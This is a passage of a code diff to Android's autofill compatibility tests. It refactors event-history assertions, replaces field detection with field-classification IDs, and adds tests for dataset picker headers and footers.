- assertFillEventForDatasetSelected(selection.getEvents().get(1), "id2");
+ assertFillEventForDatasetSelected(events.get(0), "id1");
+ assertFillEventForDatasetSelected(events.get(1), "id2");
- final FillEventHistory.Event event3 = selection.getEvents().get(2);
+ final FillEventHistory.Event event3 = events.get(2);
assertThat(event3.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
assertThat(event3.getDatasetId()).isNull();
assertThat(event3.getClientState()).isNull();
@@ -1006,8 +1053,10 @@
// Verify fill history
final FillEventHistory selection =
InstrumentedAutoFillService.peekInstance().getFillEventHistory();
- assertThat(selection.getEvents().size()).isEqualTo(1);
- assertFillEventForDatasetSelected(selection.getEvents().get(0), "id1");
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), "id1");
}
// Autofill password
@@ -1021,10 +1070,12 @@
// Verify fill history
final FillEventHistory selection =
InstrumentedAutoFillService.peekInstance().getFillEventHistory();
- assertThat(selection.getEvents().size()).isEqualTo(2);
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(2);
- assertFillEventForDatasetSelected(selection.getEvents().get(0), "id1");
- assertFillEventForDatasetSelected(selection.getEvents().get(1), "id2");
+ assertFillEventForDatasetSelected(events.get(0), "id1");
+ assertFillEventForDatasetSelected(events.get(1), "id2");
}
// Finish the context by login in
@@ -1037,12 +1088,14 @@
// Verify fill history
final FillEventHistory selection =
InstrumentedAutoFillService.peekInstance().getFillEventHistory();
- assertThat(selection.getEvents().size()).isEqualTo(3);
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(3);
- assertFillEventForDatasetSelected(selection.getEvents().get(0), "id1");
- assertFillEventForDatasetSelected(selection.getEvents().get(1), "id2");
+ assertFillEventForDatasetSelected(events.get(0), "id1");
+ assertFillEventForDatasetSelected(events.get(1), "id2");
- final FillEventHistory.Event event3 = selection.getEvents().get(2);
+ final FillEventHistory.Event event3 = events.get(2);
assertThat(event3.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
assertThat(event3.getDatasetId()).isNull();
assertThat(event3.getClientState()).isNull();
@@ -1085,8 +1138,10 @@
{
final FillEventHistory selection =
InstrumentedAutoFillService.peekInstance().getFillEventHistory();
- assertThat(selection.getEvents().size()).isEqualTo(1);
- assertFillEventForDatasetSelected(selection.getEvents().get(0), "id1");
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), "id1");
}
// Change the fields to different values from datasets
@@ -1106,10 +1161,12 @@
{
final FillEventHistory selection =
InstrumentedAutoFillService.peekInstance().getFillEventHistory();
- assertThat(selection.getEvents().size()).isEqualTo(2);
- assertFillEventForDatasetSelected(selection.getEvents().get(0), "id1");
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(2);
+ assertFillEventForDatasetSelected(events.get(0), "id1");
- FillEventHistory.Event event2 = selection.getEvents().get(1);
+ FillEventHistory.Event event2 = events.get(1);
assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
assertThat(event2.getDatasetId()).isNull();
assertThat(event2.getClientState()).isNull();
@@ -1170,9 +1227,10 @@
{
final FillEventHistory selection =
InstrumentedAutoFillService.peekInstance().getFillEventHistory();
- assertThat(selection.getEvents().size()).isEqualTo(1);
-
- FillEventHistory.Event event = selection.getEvents().get(0);
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ FillEventHistory.Event event = events.get(0);
assertThat(event.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
assertThat(event.getDatasetId()).isNull();
assertThat(event.getClientState()).isNull();
@@ -1248,9 +1306,11 @@
{
final FillEventHistory selection =
InstrumentedAutoFillService.peekInstance().getFillEventHistory();
- assertThat(selection.getEvents().size()).isEqualTo(1);
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
- FillEventHistory.Event event = selection.getEvents().get(0);
+ final FillEventHistory.Event event = events.get(0);
assertThat(event.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
assertThat(event.getDatasetId()).isNull();
assertThat(event.getClientState()).isNull();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FillResponseTest.java b/tests/autofillservice/src/android/autofillservice/cts/FillResponseTest.java
index 587f84f..6215c42 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/FillResponseTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/FillResponseTest.java
@@ -21,38 +21,39 @@
import static com.google.common.truth.Truth.assertThat;
-import static org.mockito.Mockito.mock;
import static org.testng.Assert.assertThrows;
import android.content.IntentSender;
import android.os.Bundle;
import android.service.autofill.Dataset;
-import android.service.autofill.FieldsDetection;
import android.service.autofill.FillResponse;
import android.service.autofill.SaveInfo;
-import android.support.test.runner.AndroidJUnit4;
+import android.service.autofill.UserData;
import android.view.autofill.AutofillId;
import android.view.autofill.AutofillValue;
import android.widget.RemoteViews;
import org.junit.Test;
import org.junit.runner.RunWith;
+import org.mockito.Mock;
+import org.mockito.junit.MockitoJUnitRunner;
-@RunWith(AndroidJUnit4.class)
+@RunWith(MockitoJUnitRunner.class)
public class FillResponseTest {
- private final RemoteViews mPresentation = mock(RemoteViews.class);
- private final IntentSender mIntentSender = mock(IntentSender.class);
+ private final AutofillId mAutofillId = new AutofillId(42);
private final FillResponse.Builder mBuilder = new FillResponse.Builder();
- private final AutofillId[] mIds = new AutofillId[] { new AutofillId(42) };
+ private final AutofillId[] mIds = new AutofillId[] { mAutofillId };
private final SaveInfo mSaveInfo = new SaveInfo.Builder(0, mIds).build();
private final Bundle mClientState = new Bundle();
private final Dataset mDataset = new Dataset.Builder()
- .setValue(new AutofillId(42), AutofillValue.forText("forty-two"))
+ .setValue(mAutofillId, AutofillValue.forText("forty-two"))
.build();
- private final FieldsDetection mFieldsDetection =
- new FieldsDetection(new AutofillId(42), "666", "108");
private final long mDisableDuration = 666;
+ @Mock private RemoteViews mPresentation;
+ @Mock private RemoteViews mHeader;
+ @Mock private RemoteViews mFooter;
+ @Mock private IntentSender mIntentSender;
@Test
public void testBuilder_setAuthentication_invalid() {
@@ -78,6 +79,30 @@
}
@Test
+ public void testBuilder_setAuthentication_illegalState() {
+ assertThrows(IllegalStateException.class,
+ () -> new FillResponse.Builder().setHeader(mHeader).setAuthentication(mIds,
+ mIntentSender, mPresentation));
+ assertThrows(IllegalStateException.class,
+ () -> new FillResponse.Builder().setFooter(mFooter).setAuthentication(mIds,
+ mIntentSender, mPresentation));
+ }
+
+ @Test
+ public void testBuilder_setHeaderOrFooterInvalid() {
+ assertThrows(NullPointerException.class, () -> new FillResponse.Builder().setHeader(null));
+ assertThrows(NullPointerException.class, () -> new FillResponse.Builder().setFooter(null));
+ }
+
+ @Test
+ public void testBuilder_setHeaderOrFooterAfterAuthentication() {
+ FillResponse.Builder builder =
+ new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation);
+ assertThrows(IllegalStateException.class, () -> builder.setHeader(mHeader));
+ assertThrows(IllegalStateException.class, () -> builder.setHeader(mFooter));
+ }
+
+ @Test
public void testBuilder_setFlag_invalid() {
assertThrows(IllegalArgumentException.class, () -> mBuilder.setFlags(-1));
}
@@ -110,7 +135,7 @@
assertThrows(IllegalStateException.class,
() -> mBuilder.setAuthentication(mIds, mIntentSender, mPresentation));
assertThrows(IllegalStateException.class,
- () -> mBuilder.setFieldsDetection(mFieldsDetection));
+ () -> mBuilder.setFieldClassificationIds(mAutofillId));
assertThrows(IllegalStateException.class,
() -> mBuilder.setClientState(mClientState));
@@ -123,7 +148,7 @@
new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation);
assertThrows(IllegalStateException.class, () -> builder3.disableAutofill(mDisableDuration));
final FillResponse.Builder builder4 =
- new FillResponse.Builder().setFieldsDetection(mFieldsDetection);
+ new FillResponse.Builder().setFieldClassificationIds(mAutofillId);
assertThrows(IllegalStateException.class, () -> builder4.disableAutofill(mDisableDuration));
final FillResponse.Builder builder5 =
new FillResponse.Builder().setClientState(mClientState);
@@ -131,22 +156,32 @@
}
@Test
- public void testBuilder_setFieldsDetection_invalid() {
- assertThrows(NullPointerException.class, () -> mBuilder.setFieldsDetection(null));
+ public void testBuilder_setFieldClassificationIds_invalid() {
+ assertThrows(NullPointerException.class,
+ () -> mBuilder.setFieldClassificationIds((AutofillId) null));
+ assertThrows(NullPointerException.class,
+ () -> mBuilder.setFieldClassificationIds((AutofillId[]) null));
+ final AutofillId[] oneTooMany =
+ new AutofillId[UserData.getMaxFieldClassificationIdsSize() + 1];
+ for (int i = 0; i < oneTooMany.length; i++) {
+ oneTooMany[i] = new AutofillId(i);
+ }
+ assertThrows(IllegalArgumentException.class,
+ () -> mBuilder.setFieldClassificationIds(oneTooMany));
}
@Test
- public void testBuilder_setFieldsDetection_valid() {
- mBuilder.setFieldsDetection(mFieldsDetection);
+ public void testBuilder_setFieldClassificationIds_valid() {
+ mBuilder.setFieldClassificationIds(mAutofillId);
}
@Test
- public void testBuilder_build_invalid() {
+ public void testBuild_invalid() {
assertThrows(IllegalStateException.class, () -> mBuilder.build());
}
@Test
- public void testBuilder_build_valid() {
+ public void testBuild_valid() {
// authentication only
assertThat(new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation)
.build()).isNotNull();
@@ -158,7 +193,7 @@
assertThat(new FillResponse.Builder().disableAutofill(mDisableDuration).build())
.isNotNull();
// fill detection only
- assertThat(new FillResponse.Builder().setFieldsDetection(mFieldsDetection).build())
+ assertThat(new FillResponse.Builder().setFieldClassificationIds(mAutofillId).build())
.isNotNull();
// client state only
assertThat(new FillResponse.Builder().setClientState(mClientState).build())
@@ -166,6 +201,14 @@
}
@Test
+ public void testBuilder_build_headerOrFooterWithoutDatasets() {
+ assertThrows(IllegalStateException.class,
+ () -> new FillResponse.Builder().setHeader(mHeader).build());
+ assertThrows(IllegalStateException.class,
+ () -> new FillResponse.Builder().setFooter(mFooter).build());
+ }
+
+ @Test
public void testNoMoreInteractionsAfterBuild() {
assertThat(mBuilder.setAuthentication(mIds, mIntentSender, mPresentation).build())
.isNotNull();
@@ -179,6 +222,8 @@
assertThrows(IllegalStateException.class, () -> mBuilder.setClientState(mClientState));
assertThrows(IllegalStateException.class, () -> mBuilder.setFlags(0));
assertThrows(IllegalStateException.class,
- () -> mBuilder.setFieldsDetection(mFieldsDetection));
+ () -> mBuilder.setFieldClassificationIds(mAutofillId));
+ assertThrows(IllegalStateException.class, () -> mBuilder.setHeader(mHeader));
+ assertThrows(IllegalStateException.class, () -> mBuilder.setFooter(mFooter));
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
index 4fc433d..c95e74e 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
@@ -52,6 +52,7 @@
import com.android.compatibility.common.util.SystemUtil;
+import java.lang.reflect.Field;
import java.util.List;
import java.util.Map;
import java.util.function.Function;
@@ -114,6 +115,16 @@
static final int UI_TIMEOUT_MS = 2000;
/**
+ * Timeout (in milliseconds) for showing the autofill dataset picker UI.
+ *
+ * <p>The value is usually higher than {@link #UI_TIMEOUT_MS} because the performance of the
+ * dataset picker UI can be affect by external factors in some low-level devices.
+ *
+ * <p>Typically used by {@link UiBot}.
+ */
+ static final int UI_DATASET_PICKER_TIMEOUT_MS = 4000;
+
+ /**
* Timeout (in milliseconds) for an activity to be brought out to top.
*/
static final int ACTIVITY_RESURRECTION_MS = 5000;
@@ -150,21 +161,20 @@
return id.equals(getHtmlName(node));
};
+ private static final NodeFilter HTML_NAME_OR_RESOURCE_ID_FILTER = (node, id) -> {
+ return id.equals(getHtmlName(node)) || id.equals(node.getIdEntry());
+ };
+
private static final NodeFilter TEXT_FILTER = (node, id) -> {
return id.equals(node.getText());
};
- private static final NodeFilter WEBVIEW_ROOT_FILTER = (node, id) -> {
- // TODO(b/66953802): class name should be android.webkit.WebView, and form name should be
- // inside HtmlInfo, but Chromium 61 does not implement that.
+ private static final NodeFilter WEBVIEW_FORM_FILTER = (node, id) -> {
final String className = node.getClassName();
- final String formName;
- if (className.equals("android.webkit.WebView")) {
- final HtmlInfo htmlInfo = assertHasHtmlTag(node, "form");
- formName = getAttributeValue(htmlInfo, "name");
- } else {
- formName = className;
- }
+ if (!className.equals("android.webkit.WebView")) return false;
+
+ final HtmlInfo htmlInfo = assertHasHtmlTag(node, "form");
+ final String formName = getAttributeValue(htmlInfo, "name");
return id.equals(formName);
};
@@ -407,6 +417,14 @@
}
/**
+ * Gets a node given the name of its HTML INPUT tag or Android resoirce id, or {@code null} if
+ * not found.
+ */
+ static ViewNode findNodeByHtmlNameOrResourceId(List<FillContext> contexts, String id) {
+ return findNodeByFilter(contexts, id, HTML_NAME_OR_RESOURCE_ID_FILTER);
+ }
+
+ /**
* Gets the {@code name} attribute of a node representing an HTML input tag.
*/
@Nullable
@@ -874,6 +892,50 @@
return InstrumentationRegistry.getInstrumentation().getContext();
}
+ private static Field getField(Class<?> clazz, String fieldName) {
+ final Field[] fields = clazz.getDeclaredFields();
+ final StringBuilder fieldNames = new StringBuilder();
+ for (Field field : fields) {
+ fieldNames.append(field.getName()).append(" ");
+ field.setAccessible(true);
+ if (field.getName().equals(fieldName)) {
+ return field;
+ }
+ }
+ throw new IllegalArgumentException(
+ "no field " + fieldName + " on " + clazz.getName() + ": " + fieldNames);
+ }
+
+ /**
+ * Uses reflection to get a field from an object.
+ */
+ static <T> T getField(Object object, String fieldName) {
+ try {
+ final Class<?> clazz = object.getClass();
+ final Field field = getField(clazz, fieldName);
+ @SuppressWarnings("unchecked")
+ final T value = (T) field.get(object);
+ return value;
+ } catch (Exception e) {
+ throw new IllegalArgumentException(
+ "error getting field " + fieldName + " from object" + object, e);
+ }
+ }
+
+ /**
+ * Uses reflection to set a field in an object.
+ */
+ static void setField(Object object, String fieldName, Object value) {
+ try {
+ final Class<?> clazz = object.getClass();
+ final Field field = getField(clazz, fieldName);
+ field.set(object, value);
+ } catch (Exception e) {
+ throw new IllegalArgumentException("error setting field " + fieldName + " on object "
+ + object, e);
+ }
+ }
+
/**
* Cleans up the autofill state; should be called before pretty much any test.
*/
@@ -926,15 +988,8 @@
/**
* Finds a {@link WebView} node given its expected form name.
*/
- public static ViewNode findWebViewNode(AssistStructure structure, String formName) {
- return findNodeByFilter(structure, formName, WEBVIEW_ROOT_FILTER);
- }
-
- /**
- * Finds a {@link WebView} node given its expected form name.
- */
- public static ViewNode findWebViewNode(ViewNode node, String formName) {
- return findNodeByFilter(node, formName, WEBVIEW_ROOT_FILTER);
+ public static ViewNode findWebViewNodeByFormName(AssistStructure structure, String formName) {
+ return findNodeByFilter(structure, formName, WEBVIEW_FORM_FILTER);
}
private static void assertClientState(Object container, Bundle clientState,
@@ -1017,7 +1072,7 @@
.that(event.getChangedFields()).isEmpty();
assertWithMessage("Event '%s' should not have manually-entered fields", event)
.that(event.getManuallyEnteredField()).isEmpty();
- final Map<String, Integer> detectedFields = event.getDetectedFields();
+ final Map<String, Integer> detectedFields = event.getFieldsClassification();
if (detectedRemoteId == null) {
assertThat(detectedFields).isEmpty();
} else {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/IdMode.java b/tests/autofillservice/src/android/autofillservice/cts/IdMode.java
index 01878ab..66e857b 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/IdMode.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/IdMode.java
@@ -21,5 +21,6 @@
*/
enum IdMode {
RESOURCE_ID,
- HTML_NAME
+ HTML_NAME,
+ HTML_NAME_OR_RESOURCE_ID
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java b/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
index a1f0a7e..331bac2 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
@@ -79,7 +79,7 @@
sInstance.set(this);
}
- public static AutofillService peekInstance() {
+ public static InstrumentedAutoFillService peekInstance() {
return sInstance.get();
}
@@ -105,7 +105,7 @@
return;
}
}
- sReplier.onFillRequest(request.getFillContexts(), request.getClientState(),
+ sReplier.onFillRequest(this, request.getFillContexts(), request.getClientState(),
cancellationSignal, callback, request.getFlags());
}
@@ -127,7 +127,8 @@
final ComponentName component = contexts.get(contexts.size() - 1).getStructure()
.getActivityComponent();
final String actualPackage = component.getPackageName();
- if (!actualPackage.equals(getPackageName())) {
+ if (!actualPackage.equals(getPackageName())
+ && !actualPackage.equals(sReplier.mAcceptedPackageName)) {
Log.w(TAG, "Got request from package " + actualPackage);
return false;
}
@@ -252,6 +253,7 @@
private List<Throwable> mExceptions;
private IntentSender mOnSaveIntentSender;
+ private String mAcceptedPackageName;
private Replier() {
}
@@ -262,6 +264,10 @@
this.mIdMode = mode;
}
+ public void acceptRequestsFromPackage(String packageName) {
+ mAcceptedPackageName = packageName;
+ }
+
/**
* Gets the exceptions thrown asynchronously, if any.
*/
@@ -371,9 +377,11 @@
mSaveRequests.clear();
mExceptions = null;
mOnSaveIntentSender = null;
+ mAcceptedPackageName = null;
}
- private void onFillRequest(List<FillContext> contexts, Bundle data,
+ private void onFillRequest(InstrumentedAutoFillService service,
+ List<FillContext> contexts, Bundle data,
CancellationSignal cancellationSignal, FillCallback callback, int flags) {
try {
CannedFillResponse response = null;
@@ -413,13 +421,17 @@
switch (mIdMode) {
case RESOURCE_ID:
- fillResponse = response.asFillResponse(
+ fillResponse = response.asFillResponse(service,
(id) -> Helper.findNodeByResourceId(contexts, id));
break;
case HTML_NAME:
- fillResponse = response.asFillResponse(
+ fillResponse = response.asFillResponse(service,
(name) -> Helper.findNodeByHtmlName(contexts, name));
break;
+ case HTML_NAME_OR_RESOURCE_ID:
+ fillResponse = response.asFillResponse(
+ (id) -> Helper.findNodeByHtmlNameOrResourceId(contexts, id));
+ break;
default:
throw new IllegalStateException("Unknown id mode: " + mIdMode);
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index 06211b8..04abecf 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -202,15 +202,53 @@
@Test
public void testAutoFillOneDataset() throws Exception {
+ autofillOneDatasetTest(BorderType.NONE);
+ }
+
+ @Test
+ public void testAutoFillOneDataset_withHeader() throws Exception {
+ autofillOneDatasetTest(BorderType.HEADER_ONLY);
+ }
+
+ @Test
+ public void testAutoFillOneDataset_withFooter() throws Exception {
+ autofillOneDatasetTest(BorderType.FOOTER_ONLY);
+ }
+
+ @Test
+ public void testAutoFillOneDataset_withHeaderAndFooter() throws Exception {
+ autofillOneDatasetTest(BorderType.BOTH);
+ }
+
+ private enum BorderType {
+ NONE,
+ HEADER_ONLY,
+ FOOTER_ONLY,
+ BOTH
+ }
+
+ private void autofillOneDatasetTest(BorderType borderType) throws Exception {
// Set service.
enableService();
// Set expectations.
- sReplier.addResponse(new CannedDataset.Builder()
- .setField(ID_USERNAME, "dude")
- .setField(ID_PASSWORD, "sweet")
- .setPresentation(createPresentation("The Dude"))
- .build());
+ String expectedHeader = null, expectedFooter = null;
+
+ final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .setPresentation(createPresentation("The Dude"))
+ .build());
+ if (borderType == BorderType.BOTH || borderType == BorderType.HEADER_ONLY) {
+ expectedHeader = "Head";
+ builder.setHeader(createPresentation(expectedHeader));
+ }
+ if (borderType == BorderType.BOTH || borderType == BorderType.FOOTER_ONLY) {
+ expectedFooter = "Tails";
+ builder.setFooter(createPresentation(expectedFooter));
+ }
+ sReplier.addResponse(builder.build());
mActivity.expectAutoFill("dude", "sweet");
// Dynamically set password to make sure it's sanitized.
@@ -220,7 +258,10 @@
mActivity.onUsername(View::requestFocus);
// Auto-fill it.
- sUiBot.selectDataset("The Dude");
+ final UiObject2 picker = sUiBot.assertDatasetsWithBorders(expectedHeader, expectedFooter,
+ "The Dude");
+
+ sUiBot.selectDataset(picker, "The Dude");
// Check the results.
mActivity.assertAutoFilled();
@@ -2457,7 +2498,7 @@
}
@Test
- public void testDatasetAuthFiltering() throws Exception {
+ public void testDatasetAuthNoFiltering() throws Exception {
// Set service.
enableService();
final MyAutofillCallback callback = mActivity.registerCallback();
@@ -2514,6 +2555,93 @@
}
@Test
+ public void testDatasetAuthFilteringUsingAutofillValue() throws Exception {
+ // Set service.
+ enableService();
+ final MyAutofillCallback callback = mActivity.registerCallback();
+
+ // Create the authentication intents
+ final CannedDataset unlockedDataset = new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .build();
+ final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+ unlockedDataset);
+
+ // Configure the service behavior
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .setPresentation(createPresentation("DS1"))
+ .setAuthentication(authentication)
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "DUDE,THE")
+ .setField(ID_PASSWORD, "SWEET")
+ .setPresentation(createPresentation("DS2"))
+ .setAuthentication(authentication)
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "ZzBottom")
+ .setField(ID_PASSWORD, "top")
+ .setPresentation(createPresentation("DS3"))
+ .setAuthentication(authentication)
+ .build())
+ .build());
+
+ // Set expectation for the activity
+ mActivity.expectAutoFill("dude", "sweet");
+
+ // Trigger auto-fill.
+ mActivity.onUsername(View::requestFocus);
+
+ // Wait for onFill() before proceeding.
+ sReplier.getNextFillRequest();
+ final View username = mActivity.getUsername();
+
+ // Make sure it's showing initially...
+ callback.assertUiShownEvent(username);
+ sUiBot.assertDatasets("DS1", "DS2", "DS3");
+
+ // ...then type something to hide them.
+ runShellCommand("input keyevent KEYCODE_A");
+ callback.assertUiHiddenEvent(username);
+ sUiBot.assertNoDatasets();
+
+ // Now delete the char and assert they're shown again...
+ runShellCommand("input keyevent KEYCODE_DEL");
+ callback.assertUiShownEvent(username);
+ sUiBot.assertDatasets("DS1", "DS2", "DS3");
+
+ // ...then filter for 2
+ runShellCommand("input keyevent KEYCODE_D");
+ sUiBot.assertDatasets("DS1", "DS2");
+
+ // ...up to 1
+ runShellCommand("input keyevent KEYCODE_U");
+ sUiBot.assertDatasets("DS1", "DS2");
+ runShellCommand("input keyevent KEYCODE_D");
+ sUiBot.assertDatasets("DS1", "DS2");
+ runShellCommand("input keyevent KEYCODE_E");
+ sUiBot.assertDatasets("DS1", "DS2");
+ runShellCommand("input keyevent KEYCODE_COMMA");
+ sUiBot.assertDatasets("DS2");
+
+ // Now delete the char and assert 2 are shown again...
+ runShellCommand("input keyevent KEYCODE_DEL");
+ final UiObject2 picker = sUiBot.assertDatasets("DS1", "DS2");
+
+ // ...and select it this time
+ sUiBot.selectDataset(picker, "DS1");
+ callback.assertUiHiddenEvent(username);
+ sUiBot.assertNoDatasets();
+
+ // Check the results.
+ mActivity.assertAutoFilled();
+ }
+
+ @Test
public void testDatasetAuthFilteringUsingRegex() throws Exception {
// Set service.
enableService();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
index fcb4e30..84765ef 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
@@ -18,6 +18,7 @@
import static android.autofillservice.cts.Helper.NOT_SHOWING_TIMEOUT_MS;
import static android.autofillservice.cts.Helper.SAVE_TIMEOUT_MS;
+import static android.autofillservice.cts.Helper.UI_DATASET_PICKER_TIMEOUT_MS;
import static android.autofillservice.cts.Helper.UI_TIMEOUT_MS;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
@@ -60,6 +61,7 @@
private static final String RESOURCE_ID_SAVE_ICON = "autofill_save_icon";
private static final String RESOURCE_ID_SAVE_TITLE = "autofill_save_title";
private static final String RESOURCE_ID_CONTEXT_MENUITEM = "floating_toolbar_menu_item_text";
+ private static final String RESOURCE_ID_SAVE_BUTTON_NO = "autofill_save_no";
private static final String RESOURCE_STRING_SAVE_TITLE = "autofill_save_title";
private static final String RESOURCE_STRING_SAVE_TITLE_WITH_TYPE =
@@ -71,6 +73,9 @@
private static final String RESOURCE_STRING_SAVE_TYPE_USERNAME = "autofill_save_type_username";
private static final String RESOURCE_STRING_SAVE_TYPE_EMAIL_ADDRESS =
"autofill_save_type_email_address";
+ private static final String RESOURCE_STRING_SAVE_BUTTON_NOT_NOW = "save_password_notnow";
+ private static final String RESOURCE_STRING_SAVE_BUTTON_NO_THANKS = "autofill_save_no";
+
private static final String RESOURCE_STRING_AUTOFILL = "autofill";
private static final String RESOURCE_STRING_DATASET_PICKER_ACCESSIBILITY_TITLE =
"autofill_picker_accessibility_title";
@@ -85,13 +90,12 @@
/** Pass to {@link #setScreenOrientation(int)} to change the display to landscape mode */
public static int LANDSCAPE = 1;
-
private final UiDevice mDevice;
private final Context mContext;
private final String mPackageName;
private final UiAutomation mAutoman;
- UiBot(Instrumentation instrumentation) throws Exception {
+ UiBot(Instrumentation instrumentation) {
mDevice = UiDevice.getInstance(instrumentation);
mContext = instrumentation.getContext();
mPackageName = mContext.getPackageName();
@@ -119,9 +123,29 @@
* @return the dataset picker object.
*/
UiObject2 assertDatasets(String...names) {
- final UiObject2 picker = findDatasetPicker();
+ final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT_MS);
assertWithMessage("wrong dataset names").that(getChildrenAsText(picker))
- .containsExactlyElementsIn(Arrays.asList(names));
+ .containsExactlyElementsIn(Arrays.asList(names)).inOrder();
+ return picker;
+ }
+
+ /**
+ * Asserts the dataset chooser is shown and contains the given datasets, header, and footer.
+ *
+ * @return the dataset picker object.
+ */
+ UiObject2 assertDatasetsWithBorders(String header, String footer, String...names) {
+ final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT_MS);
+ final List<String> expectedChild = new ArrayList<>();
+ if (header != null) {
+ expectedChild.add(header);
+ }
+ expectedChild.addAll(Arrays.asList(names));
+ if (footer != null) {
+ expectedChild.add(footer);
+ }
+ assertWithMessage("wrong elements on dataset picker").that(getChildrenAsText(picker))
+ .containsExactlyElementsIn(expectedChild).inOrder();
return picker;
}
@@ -148,7 +172,7 @@
* Selects a dataset that should be visible in the floating UI.
*/
void selectDataset(String name) {
- final UiObject2 picker = findDatasetPicker();
+ final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT_MS);
selectDataset(picker, name);
}
@@ -404,11 +428,15 @@
assertWithMessage("save subtitle(%s)", description).that(saveSubTitle).isNotNull();
}
- final String negativeButtonText = (negativeButtonStyle
- == SaveInfo.NEGATIVE_BUTTON_STYLE_REJECT) ? "NOT NOW" : "NO THANKS";
- UiObject2 negativeButton = snackbar.findObject(By.text(negativeButtonText));
- assertWithMessage("negative button (%s)", negativeButtonText)
- .that(negativeButton).isNotNull();
+ final String negativeButtonStringId =
+ (negativeButtonStyle == SaveInfo.NEGATIVE_BUTTON_STYLE_REJECT)
+ ? RESOURCE_STRING_SAVE_BUTTON_NOT_NOW
+ : RESOURCE_STRING_SAVE_BUTTON_NO_THANKS;
+ final String expectedNegativeButtonText = getString(negativeButtonStringId).toUpperCase();
+ final UiObject2 negativeButton = waitForObject(snackbar,
+ By.res("android", RESOURCE_ID_SAVE_BUTTON_NO), UI_TIMEOUT_MS);
+ assertWithMessage("wrong text on negative button")
+ .that(negativeButton.getText().toUpperCase()).isEqualTo(expectedNegativeButtonText);
final String expectedAccessibilityTitle =
getString(RESOURCE_STRING_SAVE_SNACKBAR_ACCESSIBILITY_TITLE);
@@ -578,10 +606,6 @@
selector, UI_TIMEOUT_MS);
}
- private UiObject2 findDatasetPicker() {
- return findDatasetPicker(UI_TIMEOUT_MS);
- }
-
private UiObject2 findDatasetPicker(long timeout) {
final UiObject2 picker = waitForObject(By.res("android", RESOURCE_ID_DATASET_PICKER),
timeout);
@@ -658,7 +682,7 @@
for (String line : os.toString("UTF-8").split("\n")) {
Log.w(TAG, line);
// Sleep a little bit to avoid logs being ignored due to spam
- SystemClock.sleep(10);
+ SystemClock.sleep(100);
}
}
} catch (IOException e) {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UserDataTest.java b/tests/autofillservice/src/android/autofillservice/cts/UserDataTest.java
new file mode 100644
index 0000000..e1100e8
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/UserDataTest.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
